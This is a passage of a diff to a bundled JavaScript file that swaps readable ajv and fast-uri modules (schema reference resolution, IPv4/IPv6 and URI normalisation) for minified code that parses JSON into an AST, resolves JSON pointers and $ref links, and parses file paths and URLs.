this._compilations.delete(sch); - } - } - exports28.compileSchema = compileSchema; - function resolveRef(root2, baseId, ref) { - var _a2; - ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, ref); - const schOrFunc = root2.refs[ref]; - if (schOrFunc) - return schOrFunc; - let _sch = resolve3.call(this, root2, ref); - if (_sch === void 0) { - const schema8 = (_a2 = root2.localRefs) === null || _a2 === void 0 ? void 0 : _a2[ref]; - const { schemaId } = this.opts; - if (schema8) - _sch = new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); - } - if (_sch === void 0) - return; - return root2.refs[ref] = inlineOrCompile.call(this, _sch); - } - exports28.resolveRef = resolveRef; - function inlineOrCompile(sch) { - if ((0, resolve_1.inlineRef)(sch.schema, this.opts.inlineRefs)) - return sch.schema; - return sch.validate ? sch : compileSchema.call(this, sch); - } - function getCompilingSchema(schEnv) { - for (const sch of this._compilations) { - if (sameSchemaEnv(sch, schEnv)) - return sch; - } - } - exports28.getCompilingSchema = getCompilingSchema; - function sameSchemaEnv(s1, s22) { - return s1.schema === s22.schema && s1.root === s22.root && s1.baseId === s22.baseId; - } - function resolve3(root2, ref) { - let sch; - while (typeof (sch = this.refs[ref]) == "string") - ref = sch; - return sch || this.schemas[ref] || resolveSchema.call(this, root2, ref); - } - function resolveSchema(root2, ref) { - const p7 = this.opts.uriResolver.parse(ref); - const refPath = (0, resolve_1._getFullPath)(this.opts.uriResolver, p7); - let baseId = (0, resolve_1.getFullPath)(this.opts.uriResolver, root2.baseId, void 0); - if (Object.keys(root2.schema).length > 0 && refPath === baseId) { - return getJsonPointer.call(this, p7, root2); - } - const id = (0, resolve_1.normalizeId)(refPath); - const schOrRef = this.refs[id] || this.schemas[id]; - if (typeof schOrRef == "string") { - const sch = resolveSchema.call(this, root2, schOrRef); - if (typeof (sch === null || sch === void 0 ? void 0 : sch.schema) !== "object") - return; - return getJsonPointer.call(this, p7, sch); - } - if (typeof (schOrRef === null || schOrRef === void 0 ? void 0 : schOrRef.schema) !== "object") - return; - if (!schOrRef.validate) - compileSchema.call(this, schOrRef); - if (id === (0, resolve_1.normalizeId)(ref)) { - const { schema: schema8 } = schOrRef; - const { schemaId } = this.opts; - const schId = schema8[schemaId]; - if (schId) - baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); - return new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); - } - return getJsonPointer.call(this, p7, schOrRef); - } - exports28.resolveSchema = resolveSchema; - var PREVENT_SCOPE_CHANGE = /* @__PURE__ */ new Set([ - "properties", - "patternProperties", - "enum", - "dependencies", - "definitions" - ]); - function getJsonPointer(parsedRef, { baseId, schema: schema8, root: root2 }) { - var _a2; - if (((_a2 = parsedRef.fragment) === null || _a2 === void 0 ? void 0 : _a2[0]) !== "/") - return; - for (const part of parsedRef.fragment.slice(1).split("/")) { - if (typeof schema8 === "boolean") - return; - const partSchema = schema8[(0, util_1.unescapeFragment)(part)]; - if (partSchema === void 0) - return; - schema8 = partSchema; - const schId = typeof schema8 === "object" && schema8[this.opts.schemaId]; - if (!PREVENT_SCOPE_CHANGE.has(part) && schId) { - baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); - } - } - let env3; - if (typeof schema8 != "boolean" && schema8.$ref && !(0, util_1.schemaHasRulesButRef)(schema8, this.RULES)) { - const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema8.$ref); - env3 = resolveSchema.call(this, root2, $ref); - } - const { schemaId } = this.opts; - env3 = env3 || new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); - if (env3.schema !== env3.root.schema) - return env3; - return void 0; - } - } -}); - -// node_modules/ajv/dist/refs/data.json -var require_data = __commonJS({ - "node_modules/ajv/dist/refs/data.json"(exports28, module5) { - module5.exports = { - $id: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#", - description: "Meta-schema for $data reference (JSON AnySchema extension proposal)", - type: "object", - required: ["$data"], - properties: { - $data: { - type: "string", - anyOf: [{ format: "relative-json-pointer" }, { format: "json-pointer" }] - } - }, - additionalProperties: false - }; - } -}); - -// node_modules/fast-uri/lib/scopedChars.js -var require_scopedChars = __commonJS({ - "node_modules/fast-uri/lib/scopedChars.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - var HEX = { - 0: 0, - 1: 1, - 2: 2, - 3: 3, - 4: 4, - 5: 5, - 6: 6, - 7: 7, - 8: 8, - 9: 9, - a: 10, - A: 10, - b: 11, - B: 11, - c: 12, - C: 12, - d: 13, - D: 13, - e: 14, - E: 14, - f: 15, - F: 15 - }; - module5.exports = { - HEX - }; - } -}); - -// node_modules/fast-uri/lib/utils.js -var require_utils3 = __commonJS({ - "node_modules/fast-uri/lib/utils.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - var { HEX } = require_scopedChars(); - var IPV4_REG = /^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u; - function normalizeIPv4(host) { - if (findToken(host, ".") < 3) { - return { host, isIPV4: false }; - } - const matches2 = host.match(IPV4_REG) || []; - const [address] = matches2; - if (address) { - return { host: stripLeadingZeros(address, "."), isIPV4: true }; - } else { - return { host, isIPV4: false }; - } - } - function stringArrayToHexStripped(input, keepZero = false) { - let acc = ""; - let strip = true; - for (const c7 of input) { - if (HEX[c7] === void 0) - return void 0; - if (c7 !== "0" && strip === true) - strip = false; - if (!strip) - acc += c7; - } - if (keepZero && acc.length === 0) - acc = "0"; - return acc; - } - function getIPV6(input) { - let tokenCount = 0; - const output = { error: false, address: "", zone: "" }; - const address = []; - const buffer2 = []; - let isZone = false; - let endipv6Encountered = false; - let endIpv6 = false; - function consume() { - if (buffer2.length) { - if (isZone === false) { - const hex = stringArrayToHexStripped(buffer2); - if (hex !== void 0) { - address.push(hex); - } else { - output.error = true; - return false; + return a8; + }, ee4 = (e12) => A6(A6(e12, "~1", "/"), "~0", "~"), te4 = (e12, t10) => { + const i9 = /* @__PURE__ */ new WeakMap(); + return function e13(n9, r9) { + let o8; + if (t10 && (n9 = t10(n9)), _6(n9) || Array.isArray(n9)) { + const t11 = i9.get(n9); + return t11 ? { $ref: t11 } : (i9.set(n9, M6(r9)), Array.isArray(n9) ? o8 = n9.map((t12, i10) => e13(t12, [...r9, String(i10)])) : (o8 = {}, Object.keys(n9).forEach((t12) => { + o8[t12] = e13(n9[t12], [...r9, t12]); + })), i9.delete(n9), o8); } + return n9; + }(e12, []); + }, ie3 = (e12) => A6(A6(e12, "~", "~0"), "//", "/~1"), ne4 = (e12) => { + if ("string" != typeof e12 || 0 === e12.length) + return null; + const t10 = e12.indexOf("#"); + return -1 === t10 ? null : e12.slice(t10); + }, re4 = (e12) => { + const t10 = d7(e12, true); + if (t10.scan(), 1 !== t10.getToken()) + return; + if (t10.scan(), 2 === t10.getToken()) + return; + if (10 !== t10.getToken()) + throw new SyntaxError("Unexpected character"); + const i9 = t10.getTokenValue(); + if (t10.scan(), 6 !== t10.getToken()) + throw new SyntaxError("Colon expected"); + switch (t10.scan(), t10.getToken()) { + case 10: + return [i9, t10.getTokenValue()]; + case 11: + return [i9, Number(t10.getTokenValue())]; + case 8: + return [i9, true]; + case 9: + return [i9, false]; + case 7: + return [i9, null]; + case 16: + throw new SyntaxError("Unexpected character"); + case 17: + throw new SyntaxError("Unexpected end of file"); + default: + return; } - buffer2.length = 0; - } - return true; - } - for (let i7 = 0; i7 < input.length; i7++) { - const cursor = input[i7]; - if (cursor === "[" || cursor === "]") { - continue; + }, oe4 = ({ lineMap: e12, ast: t10 }, i9) => { + const n9 = e12[i9.line], r9 = e12[i9.line + 1]; + if (void 0 === n9) + return; + const o8 = f8(t10, void 0 === r9 ? n9 + i9.character : Math.min(r9, n9 + i9.character), true); + if (void 0 === o8) + return; + const s8 = l7(o8); + return 0 !== s8.length ? s8 : void 0; + }; + function se4(e12) { + return ee4(e12.split("/").pop() || ""); } - if (cursor === ":") { - if (endipv6Encountered === true) { - endIpv6 = true; + const ae4 = ({ ast: e12 }, t10, i9 = false) => { + const n9 = function(e13, t11, i10) { + e: + for (const n10 of t11) { + const t12 = Number.isInteger(Number(n10)) ? Number(n10) : n10; + if ("string" == typeof t12 || "number" == typeof t12 && "array" !== e13.type) { + if ("object" !== e13.type || !Array.isArray(e13.children)) + return i10 ? e13 : void 0; + for (const i11 of e13.children) + if (Array.isArray(i11.children) && i11.children[0].value === String(t12) && 2 === i11.children.length) { + e13 = i11.children[1]; + continue e; + } + return i10 ? e13 : void 0; + } + if ("array" !== e13.type || t12 < 0 || !Array.isArray(e13.children) || t12 >= e13.children.length) + return i10 ? e13 : void 0; + e13 = e13.children[t12]; + } + return e13; + }(e12, t10, i9); + if (void 0 !== n9 && void 0 !== n9.range) + return { range: n9.range }; + }, pe4 = (e12, t10 = { disallowComments: true }) => { + const i9 = [], { ast: n9, data: r9, lineMap: o8 } = ce4(e12, i9, t10); + return { data: r9, diagnostics: i9, ast: n9, lineMap: o8 }; + }; + function ce4(e12, t10 = [], i9) { + const n9 = fe4(e12); + let r9 = { type: "array", offset: -1, length: -1, children: [], parent: void 0 }, o8 = null, s8 = []; + const a8 = /* @__PURE__ */ new WeakMap(), p8 = []; + function c8(e13) { + "property" === r9.type && (r9.length = e13 - r9.offset, r9 = r9.parent); } - if (!consume()) { - break; + function d8(e13, t11, i10) { + return { start: { line: e13, character: t11 }, end: { line: e13, character: t11 + i10 } }; } - tokenCount++; - address.push(":"); - if (tokenCount > 7) { - output.error = true; - break; + function f9(e13) { + return r9.children.push(e13), e13; } - if (i7 - 1 >= 0 && input[i7 - 1] === ":") { - endipv6Encountered = true; + function l8(e13) { + Array.isArray(s8) ? s8.push(e13) : null !== o8 && (s8[o8] = e13); } - continue; - } else if (cursor === "%") { - if (!consume()) { - break; + function h9(e13) { + l8(e13), p8.push(s8), s8 = e13, o8 = null; } - isZone = true; - } else { - buffer2.push(cursor); - continue; + function g8() { + s8 = p8.pop(); + } + u7(e12, { onObjectBegin: (e13, t11, n10, o9) => { + r9 = f9({ type: "object", offset: e13, length: -1, parent: r9, children: [], range: d8(n10, o9, t11) }), false === i9.ignoreDuplicateKeys && a8.set(r9, []), h9(function(e14) { + return e14 ? b8({}) : {}; + }(true === i9.preserveKeyOrder)); + }, onObjectProperty: (e13, n10, p9, c9, l9) => { + if ((r9 = f9({ type: "property", offset: n10, length: -1, parent: r9, children: [] })).children.push({ type: "string", value: e13, offset: n10, length: p9, parent: r9 }), false === i9.ignoreDuplicateKeys) { + const i10 = a8.get(r9.parent); + i10 && (0 !== i10.length && i10.includes(e13) ? t10.push({ range: d8(c9, l9, p9), message: "DuplicateKey", severity: j6.h_.Error, path: le4(r9), code: 20 }) : i10.push(e13)); + } + true === i9.preserveKeyOrder && function(e14, t11) { + if (!(t11 in e14)) + return; + const i10 = e14[y7], n11 = i10.indexOf(t11); + -1 !== n11 && (i10.splice(n11, 1), i10.push(t11)); + }(s8, e13), o8 = e13; + }, onObjectEnd: (e13, t11, n10, o9) => { + false === i9.ignoreDuplicateKeys && a8.delete(r9), r9.length = e13 + t11 - r9.offset, r9.range && (r9.range.end.line = n10, r9.range.end.character = o9 + t11), r9 = r9.parent, c8(e13 + t11), g8(); + }, onArrayBegin: (e13, t11, i10, n10) => { + r9 = f9({ type: "array", offset: e13, length: -1, parent: r9, children: [], range: d8(i10, n10, t11) }), h9([]); + }, onArrayEnd: (e13, t11, i10, n10) => { + r9.length = e13 + t11 - r9.offset, r9.range && (r9.range.end.line = i10, r9.range.end.character = n10 + t11), r9 = r9.parent, c8(e13 + t11), g8(); + }, onLiteralValue: (e13, t11, i10, n10, o9) => { + f9({ type: de4(e13), offset: t11, length: i10, parent: r9, value: e13, range: d8(n10, o9, i10) }), c8(t11 + i10), l8(e13); + }, onSeparator: (e13, t11) => { + "property" === r9.type && (":" === e13 ? r9.colonOffset = t11 : "," === e13 && c8(t11)); + }, onError: (e13, i10, n10, r10, o9) => { + t10.push({ range: d8(r10, o9, n10), message: m7(e13), severity: j6.h_.Error, code: e13 }); + } }, i9); + const v9 = r9.children[0]; + return v9 && delete v9.parent, { ast: v9, data: s8[0], lineMap: n9 }; } - } - if (buffer2.length) { - if (isZone) { - output.zone = buffer2.join(""); - } else if (endIpv6) { - address.push(buffer2.join("")); - } else { - address.push(stringArrayToHexStripped(buffer2)); + function de4(e12) { + switch (typeof e12) { + case "boolean": + return "boolean"; + case "number": + return "number"; + case "string": + return "string"; + default: + return "null"; + } } - } - output.address = address.join(""); - return output; - } - function normalizeIPv6(host) { - if (findToken(host, ":") < 2) { - return { host, isIPV6: false }; - } - const ipv6 = getIPV6(host); - if (!ipv6.error) { - let newHost = ipv6.address; - let escapedHost = ipv6.address; - if (ipv6.zone) { - newHost += "%" + ipv6.zone; - escapedHost += "%25" + ipv6.zone; + const fe4 = (e12) => { + const t10 = [0]; + let i9 = 0; + for (; i9 < e12.length; i9++) + "\n" === e12[i9] && t10.push(i9 + 1); + return t10.push(i9 + 1), t10; + }; + function le4(e12, t10 = []) { + return "property" === e12.type && t10.unshift(e12.children[0].value), void 0 !== e12.parent ? ("array" === e12.parent.type && void 0 !== e12.parent.parent && t10.unshift(e12.parent.children.indexOf(e12)), le4(e12.parent, t10)) : t10; } - return { host: newHost, escapedHost, isIPV6: true }; - } else { - return { host, isIPV6: false }; - } - } - function stripLeadingZeros(str2, token) { - let out = ""; - let skip = true; - const l7 = str2.length; - for (let i7 = 0; i7 < l7; i7++) { - const c7 = str2[i7]; - if (c7 === "0" && skip) { - if (i7 + 1 <= l7 && str2[i7 + 1] === token || i7 + 1 === l7) { - out += c7; - skip = false; + const ue4 = (e12, t10, i9) => { + if (!e12 || !Object.hasOwnProperty.call(e12, t10) || t10 === i9) + return e12; + const n9 = {}; + for (const [r9, o8] of Object.entries(e12)) + r9 === t10 ? n9[i9] = o8 : r9 in n9 || (n9[r9] = o8); + return n9; + }; + function me4(e12) { + return _6(e12) || Array.isArray(e12); + } + function he4(e12, t10, i9) { + if (i9.length <= 1 || t10.length <= 1) + throw Error("Source/target path must not be empty and point at root"); + if (0 === t10.indexOf(i9)) + throw Error("Target path cannot be contained within source"); + const n9 = N6(t10); + let r9 = e12; + for (const e13 of n9) { + if (!me4(r9)) + return; + r9 = r9[e13]; } - } else { - if (c7 === token) { - skip = true; - } else { - skip = false; + if (!me4(r9)) + return; + const o8 = N6(i9); + let s8 = e12; + for (const [e13, t11] of o8.entries()) { + if (!me4(s8) || t11 in s8) + return; + const i10 = e13 === o8.length - 1 ? r9 : {}; + s8[t11] = i10, s8 = i10; } - out += c7; + delete e12[n9[0]], function e13(t11, i10, n10) { + for (const r10 of Object.keys(t11)) { + const o9 = t11[r10]; + if ("$ref" !== r10) + me4(o9) && e13(o9, i10, n10); + else { + if ("string" != typeof o9 || !T6(o9)) + continue; + 0 === o9.indexOf(i10) && (t11[r10] = o9.replace(i10, n10)); + } + } + }(e12, t10, i9); } - } - return out; - } - function findToken(str2, token) { - let ind = 0; - for (let i7 = 0; i7 < str2.length; i7++) { - if (str2[i7] === token) - ind++; - } - return ind; - } - var RDS1 = /^\.\.?\//u; - var RDS2 = /^\/\.(?:\/|$)/u; - var RDS3 = /^\/\.\.(?:\/|$)/u; - var RDS5 = /^\/?(?:.|\n)*?(?=\/|$)/u; - function removeDotSegments(input) { - const output = []; - while (input.length) { - if (input.match(RDS1)) { - input = input.replace(RDS1, ""); - } else if (input.match(RDS2)) { - input = input.replace(RDS2, "/"); - } else if (input.match(RDS3)) { - input = input.replace(RDS3, "/"); - output.pop(); - } else if (input === "." || input === "..") { - input = ""; - } else { - const im = input.match(RDS5); - if (im) { - const s7 = im[0]; - input = input.slice(s7.length); - output.push(s7); - } else { - throw new Error("Unexpected dot segment condition"); + async function ye4(e12, t10, i9, n9, r9) { + let s8 = function(e13, t11) { + const i10 = Q5(t11); + return null === i10 ? e13 : (0, o7.isAbsolute)(i10) ? i10 : (0, o7.join)((0, o7.dirname)(e13), i10); + }(t10, i9); + const a8 = ne4(i9) || "#", p8 = await e12[s8], c8 = N6(a8); + let d8 = [...c8]; + const f9 = { value: p8 }; + for (const [i10, o8] of H5(f9, c8, a8)) { + if (n9.includes(o8)) + return { source: t10, location: null != r9 ? r9 : d8, value: n9[n9.length - 1] }; + n9.push(o8); + const a9 = await ye4(e12, s8, o8.$ref, n9, d8); + ({ source: s8, location: d8 } = a9), f9.value = a9.value, d8.push(...c8.slice(i10 + 1)); } + return { source: s8, location: d8, value: n9.length > 0 ? K5(n9[n9.length - 1], f9.value) : f9.value }; } - } - return output.join(""); - } - function normalizeComponentEncoding(components, esc) { - const func = esc !== true ? escape : unescape; - if (components.scheme !== void 0) { - components.scheme = func(components.scheme); - } - if (components.userinfo !== void 0) { - components.userinfo = func(components.userinfo); - } - if (components.host !== void 0) { - components.host = func(components.host); - } - if (components.path !== void 0) { - components.path = func(components.path); - } - if (components.query !== void 0) { - components.query = func(components.query); - } - if (components.fragment !== void 0) { - components.fragment = func(components.fragment); - } - return components; - } - function recomposeAuthority(components) { - const uriTokens = []; - if (components.userinfo !== void 0) { - uriTokens.push(components.userinfo); - uriTokens.push("@"); - } - if (components.host !== void 0) { - let host = unescape(components.host); - const ipV4res = normalizeIPv4(host); - if (ipV4res.isIPV4) { - host = ipV4res.host; - } else { - const ipV6res = normalizeIPv6(ipV4res.host); - if (ipV6res.isIPV6 === true) { - host = `[${ipV6res.escapedHost}]`; + async function ge4(e12, t10, i9) { + return (await be4(e12, t10, i9)).value; + } + function be4(e12, t10, i9) { + return ye4(e12, t10, i9, []); + } + const ve4 = (e12, t10) => { + if ("string" != typeof e12) + return e12; + try { + const i9 = je4(e12); + return "string" == typeof i9 ? i9 : JSON.parse(e12, t10); + } catch (e13) { + return; + } + }, je4 = (e12) => { + const t10 = Number(e12); + return Number.isFinite(t10) ? String(t10) === e12 ? t10 : e12 : NaN; + }, $e2 = (e12, t10, i9) => { + if ("string" == typeof e12) + return e12; + try { + return JSON.stringify(e12, t10, i9); + } catch (n9) { + return x7()(e12, t10, i9); + } + }, xe2 = (e12, t10) => { + if (e12 instanceof Array) { + if (t10 instanceof Array) { + if (t10.length > e12.length) + return false; + for (const i9 in t10) { + if (!t10.hasOwnProperty(i9)) + continue; + const n9 = parseInt(e12[i9]), r9 = parseInt(t10[i9]); + if (isNaN(n9) && isNaN(r9)) { + if (e12[i9] !== t10[i9]) + return false; + } else if (n9 !== r9) + return false; + } + } } else { - host = components.host; + if ("string" != typeof e12) + return false; + if ("string" == typeof t10) + return e12.startsWith(t10); } + return true; + }, _e2 = (e12, t10, i9) => { + const n9 = $e2(e12, t10, i9); + if (void 0 === n9) + throw new Error("The value could not be stringified"); + return n9; + }; + function we4(e12) { + return e12.replace(/^(\/|#\/)/, "").split("/").map(ee4).map(Se4).join("."); } - uriTokens.push(host); - } - if (typeof components.port === "number" || typeof components.port === "string") { - uriTokens.push(":"); - uriTokens.push(String(components.port)); - } - return uriTokens.length ? uriTokens.join("") : void 0; - } - module5.exports = { - recomposeAuthority, - normalizeComponentEncoding, - removeDotSegments, - normalizeIPv4, - normalizeIPv6, - stringArrayToHexStripped - }; - } -}); - -// node_modules/fast-uri/lib/schemes.js -var require_schemes = __commonJS({ - "node_modules/fast-uri/lib/schemes.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - var UUID_REG = /^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu; - var URN_REG = /([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-.:;=@]|%[\da-f]{2})+)/iu; - function isSecure(wsComponents) { - return typeof wsComponents.secure === "boolean" ? wsComponents.secure : String(wsComponents.scheme).toLowerCase() === "wss"; - } - function httpParse(components) { - if (!components.host) { - components.error = components.error || "HTTP URIs must have a host."; - } - return components; - } - function httpSerialize(components) { - const secure = String(components.scheme).toLowerCase() === "https"; - if (components.port === (secure ? 443 : 80) || components.port === "") { - components.port = void 0; - } - if (!components.path) { - components.path = "/"; - } - return components; - } - function wsParse(wsComponents) { - wsComponents.secure = isSecure(wsComponents); - wsComponents.resourceName = (wsComponents.path || "/") + (wsComponents.query ? "?" + wsComponents.query : ""); - wsComponents.path = void 0; - wsComponents.query = void 0; - return wsComponents; - } - function wsSerialize(wsComponents) { - if (wsComponents.port === (isSecure(wsComponents) ? 443 : 80) || wsComponents.port === "") { - wsComponents.port = void 0; - } - if (typeof wsComponents.secure === "boolean") { - wsComponents.scheme = wsComponents.secure ? "wss" : "ws"; - wsComponents.secure = void 0; - } - if (wsComponents.resourceName) { - const [path2, query] = wsComponents.resourceName.split("?"); - wsComponents.path = path2 && path2 !== "/" ? path2 : void 0; - wsComponents.query = query; - wsComponents.resourceName = void 0; - } - wsComponents.fragment = void 0; - return wsComponents; - } - function urnParse(urnComponents, options) { - if (!urnComponents.path) { - urnComponents.error = "URN can not be parsed"; - return urnComponents; - } - const matches2 = urnComponents.path.match(URN_REG); - if (matches2) { - const scheme = options.scheme || urnComponents.scheme || "urn"; - urnComponents.nid = matches2[1].toLowerCase(); - urnComponents.nss = matches2[2]; - const urnScheme = `${scheme}:${options.nid || urnComponents.nid}`; - const schemeHandler = SCHEMES[urnScheme]; - urnComponents.path = void 0; - if (schemeHandler) { - urnComponents = schemeHandler.parse(urnComponents, options); + function Se4(e12) { + return e12.includes(".") ? `["${e12.replace(/"/g, '\\"')}"]` : e12; } - } else { - urnComponents.error = urnComponents.error || "URN can not be parsed."; - } - return urnComponents; - } - function urnSerialize(urnComponents, options) { - const scheme = options.scheme || urnComponents.scheme || "urn"; - const nid = urnComponents.nid.toLowerCase(); - const urnScheme = `${scheme}:${options.nid || nid}`; - const schemeHandler = SCHEMES[urnScheme]; - if (schemeHandler) { - urnComponents = schemeHandler.serialize(urnComponents, options); - } - const uriComponents = urnComponents; - const nss = urnComponents.nss; - uriComponents.path = `${nid || options.nid}:${nss}`; - options.skipEscape = true; - return uriComponents; - } - function urnuuidParse(urnComponents, options) { - const uuidComponents = urnComponents; - uuidComponents.uuid = uuidComponents.nss; - uuidComponents.nss = void 0; - if (!options.tolerant && (!uuidComponents.uuid || !UUID_REG.test(uuidComponents.uuid))) { - uuidComponents.error = uuidComponents.error || "UUID is not valid."; - } - return uuidComponents; - } - function urnuuidSerialize(uuidComponents) { - const urnComponents = uuidComponents; - urnComponents.nss = (uuidComponents.uuid || "").toLowerCase(); - return urnComponents; - } - var http = { - scheme: "http", - domainHost: true, - parse: httpParse, - serialize: httpSerialize - }; - var https = { - scheme: "https", - domainHost: http.domainHost, - parse: httpParse, - serialize: httpSerialize - }; - var ws = { - scheme: "ws", - domainHost: true, - parse: wsParse, - serialize: wsSerialize - }; - var wss = { - scheme: "wss", - domainHost: ws.domainHost, - parse: ws.parse, - serialize: ws.serialize - }; - var urn = { - scheme: "urn", - parse: urnParse, - serialize: urnSerialize, - skipNormalize: true - }; - var urnuuid = { - scheme: "urn:uuid", - parse: urnuuidParse, - serialize: urnuuidSerialize, - skipNormalize: true - }; - var SCHEMES = { - http, - https, - ws, - wss, - urn, - "urn:uuid": urnuuid - }; - module5.exports = SCHEMES; - } -}); - -// node_modules/fast-uri/index.js -var require_fast_uri = __commonJS({ - "node_modules/fast-uri/index.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - var { normalizeIPv6, normalizeIPv4, removeDotSegments, recomposeAuthority, normalizeComponentEncoding } = require_utils3(); - var SCHEMES = require_schemes(); - function normalize2(uri, options) { - if (typeof uri === "string") { - uri = serialize(parse17(uri, options), options); - } else if (typeof uri === "object") { - uri = parse17(serialize(uri, options), options); - } - return uri; - } - function resolve3(baseURI, relativeURI, options) { - const schemelessOptions = Object.assign({ scheme: "null" }, options); - const resolved = resolveComponents(parse17(baseURI, schemelessOptions), parse17(relativeURI, schemelessOptions), schemelessOptions, true); - return serialize(resolved, { ...schemelessOptions, skipEscape: true }); - } - function resolveComponents(base, relative2, options, skipNormalization) { - const target = {}; - if (!skipNormalization) { - base = parse17(serialize(base, options), options); - relative2 = parse17(serialize(relative2, options), options); - } - options = options || {}; - if (!options.tolerant && relative2.scheme) { - target.scheme = relative2.scheme; - target.userinfo = relative2.userinfo; - target.host = relative2.host; - target.port = relative2.port; - target.path = removeDotSegments(relative2.path || ""); - target.query = relative2.query; - } else { - if (relative2.userinfo !== void 0 || relative2.host !== void 0 || relative2.port !== void 0) { - target.userinfo = relative2.userinfo; - target.host = relative2.host; - target.port = relative2.port; - target.path = removeDotSegments(relative2.path || ""); - target.query = relative2.query; - } else { - if (!relative2.path) { - target.path = base.path; - if (relative2.query !== void 0) { - target.query = relative2.query; - } else { - target.query = base.query; + const Pe2 = Symbol.for(h8), Oe4 = { ownKeys: (e12) => Pe2 in e12 ? e12[Pe2] : Reflect.ownKeys(e12) }, Te = (e12) => new Proxy(e12, Oe4); + function Ae4(e12, t10) { + if ("string" == typeof e12 && "string" == typeof t10) + return (0, r8.trimStart)(e12, t10); + if (!(e12 && Array.isArray(e12) && e12.length && t10 && Array.isArray(t10) && t10.length)) + return e12; + let i9 = 0; + for (const n9 in e12) + if (e12.hasOwnProperty(n9)) { + if (e12[n9] !== t10[n9]) + break; + i9++; } - } else { - if (relative2.path.charAt(0) === "/") { - target.path = removeDotSegments(relative2.path); - } else { - if ((base.userinfo !== void 0 || base.host !== void 0 || base.port !== void 0) && !base.path) { - target.path = "/" + relative2.path; - } else if (!base.path) { - target.path = relative2.path; - } else { - target.path = base.path.slice(0, base.path.lastIndexOf("/") + 1) + relative2.path; - } - target.path = removeDotSegments(target.path); + return e12.slice(i9); + } + }, 98136: (e11, t9, i8) => { + "use strict"; + function n8(e12) { + let t10 = ""; + return e12.absolute && ("file" === e12.protocol ? (e12.drive && (t10 += e12.drive), t10 += "/") : (t10 += e12.protocol + "://", e12.origin && (t10 += e12.origin + "/"))), "" === (t10 += e12.path.join("/")) && (t10 = "."), t10; + } + function r8(e12, t10, i9, n9) { + this.message = e12, this.expected = t10, this.found = i9, this.location = n9, this.name = "SyntaxError", "function" == typeof Error.captureStackTrace && Error.captureStackTrace(this, r8); + } + i8.r(t9), i8.d(t9, { basename: () => d7, deserializeSrn: () => $5, dirname: () => f8, extname: () => l7, format: () => n8, isAbsolute: () => u7, isURL: () => m7, join: () => h8, normalize: () => a7, parse: () => s7, relative: () => y7, resolve: () => g7, sep: () => b8, serializeSrn: () => x7, startsWithWindowsDrive: () => v8, stripRoot: () => j6, toFSPath: () => a7 }), function(e12, t10) { + function i9() { + this.constructor = e12; + } + i9.prototype = t10.prototype, e12.prototype = new i9(); + }(r8, Error), r8.buildMessage = function(e12, t10) { + var i9 = { literal: function(e13) { + return '"' + r9(e13.text) + '"'; + }, class: function(e13) { + var t11, i10 = ""; + for (t11 = 0; t11 < e13.parts.length; t11++) + i10 += e13.parts[t11] instanceof Array ? o8(e13.parts[t11][0]) + "-" + o8(e13.parts[t11][1]) : o8(e13.parts[t11]); + return "[" + (e13.inverted ? "^" : "") + i10 + "]"; + }, any: function(e13) { + return "any character"; + }, end: function(e13) { + return "end of input"; + }, other: function(e13) { + return e13.description; + } }; + function n9(e13) { + return e13.charCodeAt(0).toString(16).toUpperCase(); + } + function r9(e13) { + return e13.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\0/g, "\\0").replace(/\t/g, "\\t").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/[\x00-\x0F]/g, function(e14) { + return "\\x0" + n9(e14); + }).replace(/[\x10-\x1F\x7F-\x9F]/g, function(e14) { + return "\\x" + n9(e14); + }); + } + function o8(e13) { + return e13.replace(/\\/g, "\\\\").replace(/\]/g, "\\]").replace(/\^/g, "\\^").replace(/-/g, "\\-").replace(/\0/g, "\\0").replace(/\t/g, "\\t").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/[\x00-\x0F]/g, function(e14) { + return "\\x0" + n9(e14); + }).replace(/[\x10-\x1F\x7F-\x9F]/g, function(e14) { + return "\\x" + n9(e14); + }); + } + return "Expected " + function(e13) { + var t11, n10, r10, o9 = new Array(e13.length); + for (t11 = 0; t11 < e13.length; t11++) + o9[t11] = (r10 = e13[t11], i9[r10.type](r10)); + if (o9.sort(), o9.length > 0) { + for (t11 = 1, n10 = 1; t11 < o9.length; t11++) + o9[t11 - 1] !== o9[t11] && (o9[n10] = o9[t11], n10++); + o9.length = n10; } - target.query = relative2.query; + switch (o9.length) { + case 1: + return o9[0]; + case 2: + return o9[0] + " or " + o9[1]; + default: + return o9.slice(0, -1).join(", ") + ", or " + o9[o9.length - 1]; + } + }(e12) + " but " + function(e13) { + return e13 ? '"' + r9(e13) + '"' : "end of input"; + }(t10) + " found."; + }; + var o7 = function(e12, t10) { + t10 = void 0 !== t10 ? t10 : {}; + var i9, n9, o8, s8, a8 = {}, p8 = { Path: te4 }, c8 = te4, d8 = function(e13, t11, i10, n10) { + return { protocol: e13, origin: t11, absolute: true, ...i10, ...n10 }; + }, f9 = function(e13, t11, i10) { + return { protocol: e13, origin: t11, absolute: true, ...i10, path: [] }; + }, l8 = "http://", u8 = J5("http://", true), m8 = function(e13) { + return "http"; + }, h9 = "https://", y8 = J5("https://", true), g8 = function(e13) { + return "https"; + }, b9 = "", v9 = function() { + return null; + }, j7 = function(e13, t11, i10) { + return { protocol: e13, origin: null, absolute: true, ...t11, ...i10 }; + }, $6 = "file://", x8 = J5("file://", true), _6 = "file:", w6 = J5("file:", true), S6 = function(e13) { + return "file"; + }, P6 = 